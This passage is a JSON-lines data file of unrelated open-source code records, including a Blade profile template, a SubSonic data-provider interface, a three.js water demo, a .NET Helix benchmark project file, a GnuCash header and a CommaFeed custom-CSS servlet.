type=\"text\" readonly class=\"form-control-plaintext\" value=\"********\"><a href=\"/pc/user/password\">修改</a>\n </div>\n </div>\n <div class=\"form-group row\">\n <label class=\"col-sm-2 col-form-label\">邮箱</label>\n <div class=\"col-sm-10\">\n <input type=\"text\" readonly class=\"form-control-plaintext\" value=\"{{ $user->email }}\"><a href=\"/pc/user/email\">修改</a>\n </div>\n </div>\n <div class=\"form-group row\">\n <label class=\"col-sm-2 col-form-label\">手机号</label>\n <div class=\"col-sm-10\">\n <input type=\"text\" readonly class=\"form-control-plaintext\" value=\"{{ $user->phone }}\"><a href=\"/pc/user/phone\">修改</a>\n </div>\n </div>\n </form>\n </p>\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n\n <hr>\n\n </div> <!-- /container -->\n@endsection\n\n<!-- 自定义脚本 -->\n@section('script')\n\n</script>\n@endsection"} {"text": "// \n// SubSonic - http://subsonicproject.com\n// \n// The contents of this file are subject to the New BSD\n// License (the \"License\"); you may not use this file\n// except in compliance with the License. You may obtain a copy of\n// the License at http://www.opensource.org/licenses/bsd-license.php\n// \n// Software distributed under the License is distributed on an \n// \"AS IS\" basis, WITHOUT WARRANTY OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// rights and limitations under the License.\n// \nusing System;\nusing System.Collections.Generic;\nusing System.Data;\nusing System.Data.Common;\nusing System.IO;\nusing System.Reflection;\nusing SubSonic.DataProviders.Log;\nusing SubSonic.Query;\nusing SubSonic.Schema;\nusing SubSonic.SqlGeneration.Schema;\n\nusing SubSonic.Linq.Structure;\n\nnamespace SubSonic.DataProviders\n{\n public interface IDataProvider\n {\n\n //execution\n string DbDataProviderName { get; }\n string Name { get; }\n [Obsolete(\"Use SetLogger method instead\")]\n TextWriter Log { get; set; }\n\n void SetLogger(ILogAdapter logger);\n void SetLogger(Action<String> logger);\n\n /// <summary>\n /// Holds list of tables, views, stored procedures, etc.\n /// </summary>\n IDatabaseSchema Schema { get; }\n ISchemaGenerator SchemaGenerator { get; }\n ISqlFragment SqlFragment { get; }\n IQueryLanguage QueryLanguage { get; }\n ISqlGenerator GetSqlGenerator(SqlQuery query);\n\n string ParameterPrefix { get; }\n DbConnection CurrentSharedConnection { get; }\n string ConnectionString { get; }\n DbProviderFactory Factory { get; }\n ITable GetTableFromDB(string tableName);\n DbDataReader ExecuteReader(QueryCommand cmd);\n DataSet ExecuteDataSet(QueryCommand cmd);\n IList<T> ToList<T>(QueryCommand cmd) where T : new();\n IEnumerable<T> ToEnumerable<T>(QueryCommand<T> cmd, object[] paramValues);\n object ExecuteScalar(QueryCommand cmd);\n T ExecuteSingle<T>(QueryCommand cmd) where T : new();\n int ExecuteQuery(QueryCommand cmd);\n ITable FindTable(string tableName);\n ITable FindOrCreateTable<T>() where T : new();\n ITable FindOrCreateTable(Type type);\n DbCommand CreateCommand();\n //SQL formatting\n string QualifyTableName(ITable tbl);\n string QualifyColumnName(IColumn column);\n string QualifySPName(IStoredProcedure sp);\n string InsertionIdentityFetchString {get;}\n //connection bits\n DbConnection InitializeSharedConnection(string connectionString);\n DbConnection InitializeSharedConnection();\n void ResetSharedConnection();\n DbConnection CreateConnection();\n void MigrateToDatabase<T>(Assembly assembly);\n void MigrateNamespaceToDatabase(string modelNamespace, Assembly assembly);\n }\n}"} {"text": "var DEMO = {\n\tms_Canvas: null,\n\tms_Renderer: null,\n\tms_Camera: null, \n\tms_Scene: null, \n\tms_Controls: null,\n\tms_Water: null,\n\n enable: (function enable() {\n try {\n var aCanvas = document.createElement('canvas');\n return !! window.WebGLRenderingContext && (aCanvas.getContext('webgl') || aCanvas.getContext('experimental-webgl'));\n }\n catch(e) {\n return false;\n }\n })(),\n\t\n\tinitialize: function initialize(inIdCanvas) {\n\t\tthis.ms_Canvas = $('#'+inIdCanvas);\n\t\t\n\t\t// Initialize Renderer, Camera and Scene\n\t\tthis.ms_Renderer = this.enable? new THREE.WebGLRenderer() : new THREE.CanvasRenderer();\n\t\tthis.ms_Canvas.html(this.ms_Renderer.domElement);\n\t\tthis.ms_Scene = new THREE.Scene();\n\t\t\n\t\tthis.ms_Camera = new THREE.PerspectiveCamera(55.0, WINDOW.ms_Width / WINDOW.ms_Height, 0.5, 3000000);\n\t\tthis.ms_Camera.position.set(1000, 500, -1500);\n\t\tthis.ms_Camera.lookAt(new THREE.Vector3(0, 0, 0));\n\t\t\n\t\t// Initialize Orbit control\t\t\n\t\tthis.ms_Controls = new THREE.OrbitControls(this.ms_Camera, this.ms_Renderer.domElement);\n\t\n\t\t// Add light\n\t\tvar directionalLight = new THREE.DirectionalLight(0xffff55, 1);\n\t\tdirectionalLight.position.set(-600, 300, 600);\n\t\tthis.ms_Scene.add(directionalLight);\n\t\t\n\t\t// Load textures\t\t\n\t\tvar waterNormals = new THREE.ImageUtils.loadTexture('../assets/img/waternormals.jpg');\n\t\twaterNormals.wrapS = waterNormals.wrapT = THREE.RepeatWrapping; \n\t\t\n\t\t// Create the water effect\n\t\tthis.ms_Water = new THREE.Water(this.ms_Renderer, this.ms_Camera, this.ms_Scene, {\n\t\t\ttextureWidth: 256,\n\t\t\ttextureHeight: 256,\n\t\t\twaterNormals: waterNormals,\n\t\t\talpha: \t1.0,\n\t\t\tsunDirection: directionalLight.position.normalize(),\n\t\t\tsunColor: 0xffffff,\n\t\t\twaterColor: 0x001e0f,\n\t\t\tbetaVersion: 0,\n\t\t\tside: THREE.DoubleSide\n\t\t});\n\t\tvar aMeshMirror = new THREE.Mesh(\n\t\t\tnew THREE.PlaneBufferGeometry(2000, 2000, 10, 10), \n\t\t\tthis.ms_Water.material\n\t\t);\n\t\taMeshMirror.add(this.ms_Water);\n\t\taMeshMirror.rotation.x = - Math.PI * 0.5;\n\t\t\n\t\tthis.ms_Scene.add(aMeshMirror);\n\t\n\t\tthis.loadSkyBox();\n\t},\n\t\n\tloadSkyBox: function loadSkyBox() {\n\t\tvar aCubeMap = THREE.ImageUtils.loadTextureCube([\n\t\t '../demo/assets/img/px.jpg',\n\t\t '../demo/assets/img/nx.jpg',\n\t\t '../demo/assets/img/py.jpg',\n\t\t '../demo/assets/img/ny.jpg',\n\t\t '../demo/assets/img/pz.jpg',\n\t\t '../demo/assets/img/nz.jpg'\n\t\t]);\n\t\taCubeMap.format = THREE.RGBFormat;\n\n\t\tvar aShader = THREE.ShaderLib['cube'];\n\t\taShader.uniforms['tCube'].value = aCubeMap;\n\n\t\tvar aSkyBoxMaterial = new THREE.ShaderMaterial({\n\t\t fragmentShader: aShader.fragmentShader,\n\t\t vertexShader: aShader.vertexShader,\n\t\t uniforms: aShader.uniforms,\n\t\t depthWrite: false,\n\t\t side: THREE.BackSide\n\t\t});\n\n\t\tvar aSkybox = new THREE.Mesh(\n\t\t new THREE.BoxGeometry(1000000, 1000000, 1000000),\n\t\t aSkyBoxMaterial\n\t\t);\n\t\t\n\t\tthis.ms_Scene.add(aSkybox);\n\t},\n\n display: function display() {\n\t\tthis.ms_Water.render();\n\t\tthis.ms_Renderer.render(this.ms_Scene, this.ms_Camera);\n\t},\n\t\n\tupdate: function update() {\n\t\tthis.ms_Water.material.uniforms.time.value += 1.0 / 60.0;\n\t\tthis.ms_Controls.update();\n\t\tthis.display();\n\t},\n\t\n\tresize: function resize(inWidth, inHeight) {\n\t\tthis.ms_Camera.aspect = inWidth / inHeight;\n\t\tthis.ms_Camera.updateProjectionMatrix();\n\t\tthis.ms_Renderer.setSize(inWidth, inHeight);\n\t\tthis.ms_Canvas.html(this.ms_Renderer.domElement);\n\t\tthis.display();\n\t}\n};"} {"text": "package com.alibaba.alink.pipeline.dataproc.vector;\n\nimport org.apache.flink.ml.api.misc.param.Params;\n\nimport com.alibaba.alink.operator.common.dataproc.vector.VectorElementwiseProductMapper;\nimport com.alibaba.alink.params.dataproc.vector.VectorElementwiseProductParams;\nimport com.alibaba.alink.pipeline.MapTransformer;\n\n/**\n * VectorEleWiseProduct multiplies each input vector by a provided “scaling” vector.\n * In other words, it scales each column of the data set by a scalar multiplier. This represents the Hadamard product\n * between the input vector, v and transforming vector, w, to yield a result vector.\n */\npublic class VectorElementwiseProduct extends MapTransformer<VectorElementwiseProduct>\n\timplements VectorElementwiseProductParams <VectorElementwiseProduct> {\n\n\tpublic VectorElementwiseProduct() {\n\t\tthis(null);\n\t}\n\n\tpublic VectorElementwiseProduct(Params params) {\n\t\tsuper(VectorElementwiseProductMapper::new, params);\n\t}\n}\n"} {"text": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing CoreAnimation;\nusing Foundation;\n\nnamespace Windows.UI.Xaml.Media\n{\n\tpublic partial class CompositionTarget \n\t{\n\t\tprivate static List<EventHandler<object>> _handlers = new List<EventHandler<object>>();\n\t\tprivate static CADisplayLink _displayLink;\n\n\t\tpublic static event EventHandler<object> Rendering\n\t\t{\n\t\t\tadd\n\t\t\t{\n\t\t\t\t_handlers.Add(value);\n\t\t\t\t\n\t\t\t\tif(_displayLink == null)\n\t\t\t\t{\n\t\t\t\t\t_displayLink = CADisplayLink.Create(OnFrame);\n\t\t\t\t\t// Default == normal UI updates\n\t\t\t\t\t_displayLink.AddToRunLoop(NSRunLoop.Main, NSRunLoopMode.Default);\n\t\t\t\t\t// UITracking == updates during scrolling\n\t\t\t\t\t_displayLink.AddToRunLoop(NSRunLoop.Main, NSRunLoopMode.UITracking);\n\t\t\t\t}\n\t\t\t}\n\t\t\tremove\n\t\t\t{\n\t\t\t\t_handlers.Remove(value);\n\n\t\t\t\tif(_handlers.Count == 0)\n\t\t\t\t{\n\t\t\t\t\t_displayLink.RemoveFromRunLoop(NSRunLoop.Main, NSRunLoop.NSDefaultRunLoopMode);\n\t\t\t\t\t_displayLink.RemoveFromRunLoop(NSRunLoop.Main, NSRunLoop.UITrackingRunLoopMode);\n\t\t\t\t\t_displayLink = null;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tprivate static void OnFrame()\n\t\t{\n\t\t\tvar handlers = _handlers.ToList();\n\t\t\tforeach (var handler in handlers)\n\t\t\t{\n\t\t\t\thandler(null, null);\n\t\t\t}\n\n\t\t}\n\t}\n}\n"} {"text": "<Project Sdk=\"Microsoft.DotNet.Helix.Sdk\" DefaultTargets=\"Test\">\n\n <PropertyGroup Condition=\"'$(AGENT_OS)' == 'Windows_NT'\">\n <WorkItemCommand>%HELIX_CORRELATION_PAYLOAD%\\performance\\scripts\\benchmarks_ci.py --csproj %HELIX_CORRELATION_PAYLOAD%\\performance\\$(TargetCsproj)</WorkItemCommand>\n <CliArguments>--dotnet-versions %DOTNET_VERSION% --cli-source-info args --cli-branch %PERFLAB_BRANCH% --cli-commit-sha %PERFLAB_HASH% --cli-repository https://github.com/%PERFLAB_REPO% --cli-source-timestamp %PERFLAB_BUILDTIMESTAMP%</CliArguments>\n <Python>py -3</Python>\n <CoreRun>%HELIX_CORRELATION_PAYLOAD%\\Core_Root\\CoreRun.exe</CoreRun>\n <BaselineCoreRun>%HELIX_CORRELATION_PAYLOAD%\\Baseline_Core_Root\\CoreRun.exe</BaselineCoreRun>\n \n <HelixPreCommands>$(HelixPreCommands);call %HELIX_CORRELATION_PAYLOAD%\\performance\\tools\\machine-setup.cmd;set PYTHONPATH=%HELIX_WORKITEM_PAYLOAD%\\scripts%3B%HELIX_WORKITEM_PAYLOAD%</HelixPreCommands>\n <ArtifactsDirectory>%HELIX_CORRELATION_PAYLOAD%\\artifacts\\BenchmarkDotNet.Artifacts</ArtifactsDirectory>\n <BaselineArtifactsDirectory>%HELIX_CORRELATION_PAYLOAD%\\artifacts\\BenchmarkDotNet.Artifacts_Baseline</BaselineArtifactsDirectory>\n <ResultsComparer>%HELIX_CORRELATION_PAYLOAD%\\performance\\src\\tools\\ResultsComparer\\ResultsComparer.csproj</ResultsComparer>\n <DotnetExe>%HELIX_CORRELATION_PAYLOAD%\\performance\\tools\\dotnet\\$(Architecture)\\dotnet.exe</DotnetExe>\n <Percent>%25%25</Percent>\n <XMLResults>%HELIX_WORKITEM_ROOT%\\testResults.xml</XMLResults>\n </PropertyGroup>\n\n <PropertyGroup Condition=\"'$(AGENT_OS)' != 'Windows_NT' and '$(RunFromPerfRepo)' == 'false'\">\n <BaseDirectory>$HELIX_CORRELATION_PAYLOAD</BaseDirectory>\n <PerformanceDirectory>$(BaseDirectory)/performance</PerformanceDirectory>\n </PropertyGroup>\n\n <PropertyGroup Condition=\"'$(AGENT_OS)' != 'Windows_NT' and '$(RunFromPerfRepo)' == 'true'\">\n <BaseDirectory>$HELIX_WORKITEM_PAYLOAD</BaseDirectory>\n <PerformanceDirectory>$(BaseDirectory)</PerformanceDirectory>\n </PropertyGroup>\n\n <PropertyGroup Condition=\"'$(AGENT_OS)' != 'Windows_NT'\">\n <WorkItemCommand>$(PerformanceDirectory)/scripts/benchmarks_ci.py --csproj $(PerformanceDirectory)/$(TargetCsproj)</WorkItemCommand>\n <CliArguments>--dotnet-versions $DOTNET_VERSION --cli-source-info args --cli-branch $PERFLAB_BRANCH --cli-commit-sha $PERFLAB_HASH --cli-repository https://github.com/$PERFLAB_REPO --cli-source-timestamp $PERFLAB_BUILDTIMESTAMP</CliArguments>\n <Python>python3</Python>\n <CoreRun>$(BaseDirectory)/Core_Root/corerun</CoreRun>\n <BaselineCoreRun>$(BaseDirectory)/Baseline_Core_Root/corerun</BaselineCoreRun>\n <HelixPreCommands>$(HelixPreCommands);chmod +x $(PerformanceDirectory)/tools/machine-setup.sh;. $(PerformanceDirectory)/tools/machine-setup.sh</HelixPreCommands>\n <ArtifactsDirectory>$(BaseDirectory)/artifacts/BenchmarkDotNet.Artifacts</ArtifactsDirectory>\n <BaselineArtifactsDirectory>$(BaseDirectory)/artifacts/BenchmarkDotNet.Artifacts_Baseline</BaselineArtifactsDirectory>\n <ResultsComparer>$(PerformanceDirectory)/src/tools/ResultsComparer/ResultsComparer.csproj</ResultsComparer>\n <DotnetExe>$(PerformanceDirectory)/tools/dotnet/$(Architecture)/dotnet</DotnetExe>\n <Percent>%25</Percent>\n <XMLResults>$HELIX_WORKITEM_ROOT/testResults.xml</XMLResults>\n </PropertyGroup>\n\n <PropertyGroup Condition=\"'$(MonoDotnet)' == 'true' and '$(AGENT_OS)' == 'Windows_NT'\">\n <CoreRunArgument>--corerun %HELIX_CORRELATION_PAYLOAD%\\dotnet-mono\\shared\\Microsoft.NETCore.App\\5.0.0\\corerun.exe</CoreRunArgument>\n </PropertyGroup>\n <PropertyGroup Condition=\"'$(MonoDotnet)' == 'true' and '$(AGENT_OS)' != 'Windows_NT'\">\n <CoreRunArgument>--corerun $(BaseDirectory)/dotnet-mono/shared/Microsoft.NETCore.App/5.0.0/corerun</CoreRunArgument>\n </PropertyGroup>\n\n <PropertyGroup Condition=\"'$(UseCoreRun)' == 'true'\">\n <CoreRunArgument>--corerun $(CoreRun)</CoreRunArgument>\n </PropertyGroup>\n\n <PropertyGroup Condition=\"'$(UseBaselineCoreRun)' == 'true'\">\n <BaselineCoreRunArgument>--corerun $(BaselineCoreRun)</BaselineCoreRunArgument>\n </PropertyGroup>\n\n <PropertyGroup Condition=\"'$(WorkItemCommand)' != ''\">\n <WorkItemCommand>$(Python) $(WorkItemCommand) --incremental no --architecture $(Architecture) -f $(_Framework) $(PerfLabArguments)</WorkItemCommand>\n </PropertyGroup>\n\n <PropertyGroup Condition=\"'$(_Framework)' != 'net461'\">\n <WorkItemCommand>$(WorkItemCommand) $(CliArguments)</WorkItemCommand>\n </PropertyGroup>\n \n <PropertyGroup>\n <WorkItemTimeout>2:30</WorkItemTimeout>\n <WorkItemTimeout Condition=\"'$(HelixSourcePrefix)' != 'official'\">0:15</WorkItemTimeout>\n </PropertyGroup>\n\n <ItemGroup>\n <HelixCorrelationPayload Include=\"$(CorrelationPayloadDirectory)\">\n <PayloadDirectory>%(Identity)</PayloadDirectory>\n </HelixCorrelationPayload>\n </ItemGroup>\n\n <PropertyGroup>\n <PartitionCount>30</PartitionCount>\n </PropertyGroup>\n <ItemGroup>\n <Partition Include=\"$(BuildConfig).Partition0\" Index=\"0\" />\n <Partition Include=\"$(BuildConfig).Partition1\" Index=\"1\" />\n <Partition Include=\"$(BuildConfig).Partition2\" Index=\"2\" />\n <Partition Include=\"$(BuildConfig).Partition3\" Index=\"3\" />\n <Partition Include=\"$(BuildConfig).Partition4\" Index=\"4\" />\n <Partition Include=\"$(BuildConfig).Partition5\" Index=\"5\" />\n <Partition Include=\"$(BuildConfig).Partition6\" Index=\"6\" />\n <Partition Include=\"$(BuildConfig).Partition7\" Index=\"7\" />\n <Partition Include=\"$(BuildConfig).Partition8\" Index=\"8\" />\n <Partition Include=\"$(BuildConfig).Partition9\" Index=\"9\" />\n <Partition Include=\"$(BuildConfig).Partition10\" Index=\"10\" />\n <Partition Include=\"$(BuildConfig).Partition11\" Index=\"11\" />\n <Partition Include=\"$(BuildConfig).Partition12\" Index=\"12\" />\n <Partition Include=\"$(BuildConfig).Partition13\" Index=\"13\" />\n <Partition Include=\"$(BuildConfig).Partition14\" Index=\"14\" />\n <Partition Include=\"$(BuildConfig).Partition15\" Index=\"15\" />\n <Partition Include=\"$(BuildConfig).Partition16\" Index=\"16\" />\n <Partition Include=\"$(BuildConfig).Partition17\" Index=\"17\" />\n <Partition Include=\"$(BuildConfig).Partition18\" Index=\"18\" />\n <Partition Include=\"$(BuildConfig).Partition19\" Index=\"19\" />\n <Partition Include=\"$(BuildConfig).Partition20\" Index=\"20\" />\n <Partition Include=\"$(BuildConfig).Partition21\" Index=\"21\" />\n <Partition Include=\"$(BuildConfig).Partition22\" Index=\"22\" />\n <Partition Include=\"$(BuildConfig).Partition23\" Index=\"23\" />\n <Partition Include=\"$(BuildConfig).Partition24\" Index=\"24\" />\n <Partition Include=\"$(BuildConfig).Partition25\" Index=\"25\" />\n <Partition Include=\"$(BuildConfig).Partition26\" Index=\"26\" />\n <Partition Include=\"$(BuildConfig).Partition27\" Index=\"27\" />\n <Partition Include=\"$(BuildConfig).Partition28\" Index=\"28\" />\n <Partition Include=\"$(BuildConfig).Partition29\" Index=\"29\" />\n </ItemGroup>\n\n <PropertyGroup Condition=\"'$(Compare)' == 'true'\">\n <FailOnTestFailure>false</FailOnTestFailure>\n </PropertyGroup>\n\n <!-- \n Partition the Microbenchmarks project, but nothing else\n -->\n <ItemGroup Condition=\"$(TargetCsproj.Contains('MicroBenchmarks.csproj'))\">\n <HelixWorkItem Include=\"@(Partition)\">\n <PayloadDirectory>$(WorkItemDirectory)</PayloadDirectory>\n <PreCommands Condition=\"'$(Compare)' == 'true'\">$(WorkItemCommand) --bdn-artifacts $(BaselineArtifactsDirectory) --bdn-arguments=\"--anyCategories $(BDNCategories) $(ExtraBenchmarkDotNetArguments) $(BaselineCoreRunArgument) --partition-count $(PartitionCount) --partition-index %(HelixWorkItem.Index)\"</PreCommands>\n <Command>$(WorkItemCommand) --bdn-artifacts $(ArtifactsDirectory) --bdn-arguments=\"--anyCategories $(BDNCategories) $(ExtraBenchmarkDotNetArguments) $(CoreRunArgument) --partition-count $(PartitionCount) --partition-index %(HelixWorkItem.Index)\"</Command>\n <PostCommands Condition=\"'$(Compare)' == 'true'\">$(DotnetExe) run -f $(_Framework) -p $(ResultsComparer) --base $(BaselineArtifactsDirectory) --diff $(ArtifactsDirectory) --threshold 2$(Percent) --xml $(XMLResults);$(FinalCommand)</PostCommands>\n <Timeout>$(WorkItemTimeout)</Timeout>\n </HelixWorkItem>\n </ItemGroup>\n\n <ItemGroup Condition=\"!$(TargetCsproj.Contains('MicroBenchmarks.csproj'))\">\n <HelixWorkItem Include=\"$(BuildConfig).WorkItem\">\n <PayloadDirectory>$(WorkItemDirectory)</PayloadDirectory>\n <PreCommands Condition=\"'$(Compare)' == 'true'\">$(WorkItemCommand) --bdn-artifacts $(BaselineArtifactsDirectory) --bdn-arguments=\"--anyCategories $(BDNCategories) $(ExtraBenchmarkDotNetArguments) $(BaselineCoreRunArgument)\"</PreCommands>\n <Command>$(WorkItemCommand) --bdn-artifacts $(ArtifactsDirectory) --bdn-arguments=\"--anyCategories $(BDNCategories) $(ExtraBenchmarkDotNetArguments) $(CoreRunArgument)\"</Command>\n <PostCommands Condition=\"'$(Compare)' == 'true'\">$(DotnetExe) run -f $(_Framework) -p $(ResultsComparer) --base $(BaselineArtifactsDirectory) --diff $(ArtifactsDirectory) --threshold 2$(Percent) --xml $(XMLResults)</PostCommands>\n <Timeout>4:00</Timeout>\n </HelixWorkItem>\n </ItemGroup>\n\n <ItemGroup Condition=\"'$(AGENT_OS)' == 'Windows_NT'\">\n <HelixWorkItem Include=\"Crossgen System.Private.Xml.dll\">\n <PayloadDirectory>$(WorkItemDirectory)\\ScenarioCorrelation</PayloadDirectory>\n <Command>$(Python) %HELIX_CORRELATION_PAYLOAD%\\performance\\src\\scenarios\\crossgen\\test.py crossgen --test-name System.Private.Xml.dll --core-root %HELIX_CORRELATION_PAYLOAD%\\Core_Root</Command>\n </HelixWorkItem>\n <HelixWorkItem Include=\"Crossgen System.Linq.Expressions.dll\">\n <PayloadDirectory>$(WorkItemDirectory)\\ScenarioCorrelation</PayloadDirectory>\n <Command>$(Python) %HELIX_CORRELATION_PAYLOAD%\\performance\\src\\scenarios\\crossgen\\test.py crossgen --test-name System.Linq.Expressions.dll --core-root %HELIX_CORRELATION_PAYLOAD%\\Core_Root</Command>\n </HelixWorkItem>\n <HelixWorkItem Include=\"Crossgen Microsoft.CodeAnalysis.VisualBasic.dll\">\n <PayloadDirectory>$(WorkItemDirectory)\\ScenarioCorrelation</PayloadDirectory>\n <Command>$(Python) %HELIX_CORRELATION_PAYLOAD%\\performance\\src\\scenarios\\crossgen\\test.py crossgen --test-name Microsoft.CodeAnalysis.VisualBasic.dll --core-root %HELIX_CORRELATION_PAYLOAD%\\Core_Root</Command>\n </HelixWorkItem>\n <HelixWorkItem Include=\"Crossgen Microsoft.CodeAnalysis.CSharp.dll\">\n <PayloadDirectory>$(WorkItemDirectory)\\ScenarioCorrelation</PayloadDirectory>\n <Command>$(Python) %HELIX_CORRELATION_PAYLOAD%\\performance\\src\\scenarios\\crossgen\\test.py crossgen --test-name Microsoft.CodeAnalysis.CSharp.dll --core-root %HELIX_CORRELATION_PAYLOAD%\\Core_Root</Command>\n </HelixWorkItem>\n <HelixWorkItem Include=\"Crossgen System.Private.CoreLib.dll\">\n <PayloadDirectory>$(WorkItemDirectory)\\ScenarioCorrelation</PayloadDirectory>\n <Command>$(Python) %HELIX_CORRELATION_PAYLOAD%\\performance\\src\\scenarios\\crossgen\\test.py crossgen --test-name System.Private.CoreLib.dll --core-root %HELIX_CORRELATION_PAYLOAD%\\Core_Root</Command>\n </HelixWorkItem>\n </ItemGroup>\n\n <ItemGroup Condition=\"'$(AGENT_OS)' == 'Windows_NT' and '$(Architecture)' == 'x64'\">\n <HelixWorkItem Include=\"Crossgen2 System.Private.Xml.dll\">\n <PayloadDirectory>$(WorkItemDirectory)\\ScenarioCorrelation</PayloadDirectory>\n <Command>$(Python) %HELIX_CORRELATION_PAYLOAD%\\performance\\src\\scenarios\\crossgen2\\test.py crossgen2 --single System.Private.Xml.dll --core-root %HELIX_CORRELATION_PAYLOAD%\\Core_Root</Command>\n </HelixWorkItem>\n <HelixWorkItem Include=\"Crossgen2 System.Linq.Expressions.dll\">\n <PayloadDirectory>$(WorkItemDirectory)\\ScenarioCorrelation</PayloadDirectory>\n <Command>$(Python) %HELIX_CORRELATION_PAYLOAD%\\performance\\src\\scenarios\\crossgen2\\test.py crossgen2 --single System.Linq.Expressions.dll --core-root %HELIX_CORRELATION_PAYLOAD%\\Core_Root</Command>\n </HelixWorkItem>\n <HelixWorkItem Include=\"Crossgen2 Microsoft.CodeAnalysis.VisualBasic.dll\">\n <PayloadDirectory>$(WorkItemDirectory)\\ScenarioCorrelation</PayloadDirectory>\n <Command>$(Python) %HELIX_CORRELATION_PAYLOAD%\\performance\\src\\scenarios\\crossgen2\\test.py crossgen2 --single Microsoft.CodeAnalysis.VisualBasic.dll --core-root %HELIX_CORRELATION_PAYLOAD%\\Core_Root</Command>\n </HelixWorkItem> \n <HelixWorkItem Include=\"Crossgen2 Microsoft.CodeAnalysis.CSharp.dll\">\n <PayloadDirectory>$(WorkItemDirectory)\\ScenarioCorrelation</PayloadDirectory>\n <Command>$(Python) %HELIX_CORRELATION_PAYLOAD%\\performance\\src\\scenarios\\crossgen2\\test.py crossgen2 --single Microsoft.CodeAnalysis.CSharp.dll --core-root %HELIX_CORRELATION_PAYLOAD%\\Core_Root</Command>\n </HelixWorkItem>\n <HelixWorkItem Include=\"Crossgen2 System.Private.CoreLib.dll\">\n <PayloadDirectory>$(WorkItemDirectory)\\ScenarioCorrelation</PayloadDirectory>\n <Command>$(Python) %HELIX_CORRELATION_PAYLOAD%\\performance\\src\\scenarios\\crossgen2\\test.py crossgen2 --single System.Private.CoreLib.dll --core-root %HELIX_CORRELATION_PAYLOAD%\\Core_Root</Command>\n </HelixWorkItem>\n <HelixWorkItem Include=\"Crossgen2 Composite Framework R2R\">\n <PayloadDirectory>$(WorkItemDirectory)\\ScenarioCorrelation</PayloadDirectory>\t\n <Command>$(Python) %HELIX_CORRELATION_PAYLOAD%\\performance\\src\\scenarios\\crossgen2\\test.py crossgen2 --composite %HELIX_CORRELATION_PAYLOAD%\\performance\\src\\scenarios\\crossgen2\\framework-r2r.dll.rsp --core-root %HELIX_CORRELATION_PAYLOAD%\\Core_Root</Command>\t\n <Timeout>1:00</Timeout> \n </HelixWorkItem>\n\n </ItemGroup>\n</Project>"} {"text": "/********************************************************************\\\n * This program is free software; you can redistribute it and/or *\n * modify it under the terms of the GNU General Public License as *\n * published by the Free Software Foundation; either version 2 of *\n * the License, or (at your option) any later version. *\n * *\n * This program is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\n * GNU General Public License for more details. *\n * *\n * You should have received a copy of the GNU General Public License*\n * along with this program; if not, contact: *\n * *\n * Free Software Foundation Voice: +1-617-542-5942 *\n * 51 Franklin Street, Fifth Floor Fax: +1-617-542-2652 *\n * Boston, MA 02110-1301, USA gnu@gnu.org *\n * *\n\\********************************************************************/\n\n#ifndef GNUCASH_HEADER_H\n#define GNUCASH_HEADER_H\n\n#include <gtk/gtk.h>\n\n/** @ingroup Register\n * @addtogroup Gnome\n * @{\n */\n/** @file gnucash-header.h\n * @brief Public declarations for GnucashHeader class\n */\n#define GNC_TYPE_HEADER (gnc_header_get_type ())\n#define GNC_HEADER(o) (G_TYPE_CHECK_INSTANCE_CAST((o), GNC_TYPE_HEADER, GncHeader))\n#define GNC_HEADER_CLASS(k) (G_TYPE_CHECK_CLASS_CAST ((k), GNC_TYPE_HEADER, GncHeaderClass))\n#define GNC_IS_HEADER(o) (G_TYPE_CHECK_INSTANCE_TYPE((o), GNC_TYPE_HEADER))\n\nGType gnc_header_get_type (void);\n\ntypedef struct\n{\n GtkLayout parent;\n\n GnucashSheet *sheet;\n SheetBlockStyle *style;\n\n char *cursor_name;\n\n int num_phys_rows;\n\n int in_resize;\n int resize_col_width;\n int resize_x;\n int resize_col;\n\n int height;\n int width;\n\n cairo_surface_t *surface;\n GdkCursor *normal_cursor;\n GdkCursor *resize_cursor;\n} GncHeader;\n\n\ntypedef struct\n{\n GtkLayoutClass parent_class;\n} GncHeaderClass;\n\n\nGtkWidget *gnc_header_new (GnucashSheet *sheet);\nvoid gnc_header_reconfigure (GncHeader *header);\nvoid gnc_header_request_redraw (GncHeader *header);\n\nvoid gnc_header_set_header_rows (GncHeader *header,\n int num_phys_rows);\n/** @} */\n#endif /* GNUCASH_HEADER_H */\n"} {"text": "package com.commafeed.frontend.servlet;\r\n\r\nimport java.io.IOException;\r\nimport java.util.Optional;\r\n\r\nimport javax.inject.Inject;\r\nimport javax.inject.Singleton;\r\nimport javax.servlet.ServletException;\r\nimport javax.servlet.http.HttpServlet;\r\nimport javax.servlet.http.HttpServletRequest;\r\nimport javax.servlet.http.HttpServletResponse;\r\n\r\nimport org.hibernate.SessionFactory;\r\n\r\nimport com.commafeed.backend.dao.UnitOfWork;\r\nimport com.commafeed.backend.dao.UserSettingsDAO;\r\nimport com.commafeed.backend.model.User;\r\nimport com.commafeed.backend.model.UserSettings;\r\nimport com.commafeed.frontend.session.SessionHelper;\r\n\r\nimport lombok.RequiredArgsConstructor;\r\n\r\n@SuppressWarnings(\"serial\")\r\n@RequiredArgsConstructor(onConstructor = @__({ @Inject }) )\r\n@Singleton\r\npublic class CustomCssServlet extends HttpServlet {\r\n\r\n\tprivate final SessionFactory sessionFactory;\r\n\tprivate final UserSettingsDAO userSettingsDAO;\r\n\r\n\t@Override\r\n\tprotected void doGet(final HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {\r\n\t\tresp.setContentType(\"text/css\");\r\n\r\n\t\tfinal Optional<User> user = new SessionHelper(req).getLoggedInUser();\r\n\t\tif (!user.isPresent()) {\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\tUserSettings settings = UnitOfWork.call(sessionFactory, () -> userSettingsDAO.findByUser(user.get()));\r\n\t\tif (settings == null || settings.getCustomCss() == null) {\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\tresp.getWriter().write(settings.getCustomCss());\r\n\t}\r\n}\r\n"} {"text": "/*\n * Exchange Web Services Managed API\n *\n * Copyright (c) Microsoft Corporation\n * All rights reserved.\n *\n * MIT License\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this\n * software and associated documentation files (the \"Software\"), to deal in the Software\n * without restriction, including without limitation the rights to use, copy, modify, merge,\n * publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons\n 